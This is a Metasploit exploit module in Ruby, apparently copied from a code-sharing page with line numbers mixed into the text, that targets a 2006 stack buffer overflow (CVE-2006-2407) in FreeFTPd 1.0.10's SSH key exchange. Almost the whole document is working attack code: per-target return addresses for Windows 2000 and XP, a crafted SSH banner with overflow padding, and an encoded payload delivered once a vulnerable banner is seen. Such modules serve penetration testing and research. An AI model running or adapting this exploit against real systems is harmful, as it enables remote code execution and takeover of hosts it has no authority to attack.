Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow',
14
      'Description'    => %q{
15
          This module exploits a simple stack buffer overflow in FreeFTPd 1.0.10
16
        This flaw is due to a buffer overflow error when handling a specially
17
        crafted key exchange algorithm string received from an SSH client.
18
        This module is based on MC's freesshd_key_exchange exploit.
19
      },
20
      'Author'         => 'riaf <riaf[at]mysec.org>',
21
      'License'        => BSD_LICENSE,
22
      'References'     =>
23
        [
24
          ['CVE', '2006-2407'],
25
          ['OSVDB', '25569'],
26
          ['BID', '17958'],
27
        ],
28
      'DefaultOptions' =>
29
        {
30
          'EXITFUNC' => 'process',
31
        },
32
      'Payload'        =>
33
        {
34
          'Space'    => 500,
35
          'BadChars' => "\x00",
36
          'StackAdjustment' => -3500,
37
        },
38
      'Platform'       => 'win',
39
      'Targets'        =>
40
        [
41
          [ 'Windows 2000 SP0-SP4 English',  			{ 'Ret' => 0x750231e2 } ],
42
          [ 'Windows 2000 SP0-SP4 German',   			{ 'Ret' => 0x74f931e2 } ],
43
          [ 'Windows XP SP0-SP1 English',    			{ 'Ret' => 0x71ab1d54 } ],
44
          [ 'Windows XP SP2 English',       		 	{ 'Ret' => 0x71ab9372 } ],
45
        ],
46
      'Privileged'     => true,
47
      'DisclosureDate' => '2006-05-12',
48
      'DefaultTarget' => 0))
49

50
    register_options(
51
      [
52
        Opt::RPORT(22)
53
      ])
54
  end
55

56
  def exploit
57
    connect
58

59
    sploit =  "SSH-2.0-OpenSSH_3.9p1"
60
    sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00"
61
    sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
62
    sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V')
63
    sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n"
64

65
    res = sock.recv(40)
66
    if ( res =~ /SSH-2\.0-WeOnlyDo-wodFTPD 2\.1\.8\.98/)
67
      print_status("Trying target #{target.name}...")
68
      sock.put(sploit)
69
    else
70
      print_status("Not running a vulnerable version...")
71
    end
72

73
    handler
74
    disconnect
75

76
  end
77
end
78

79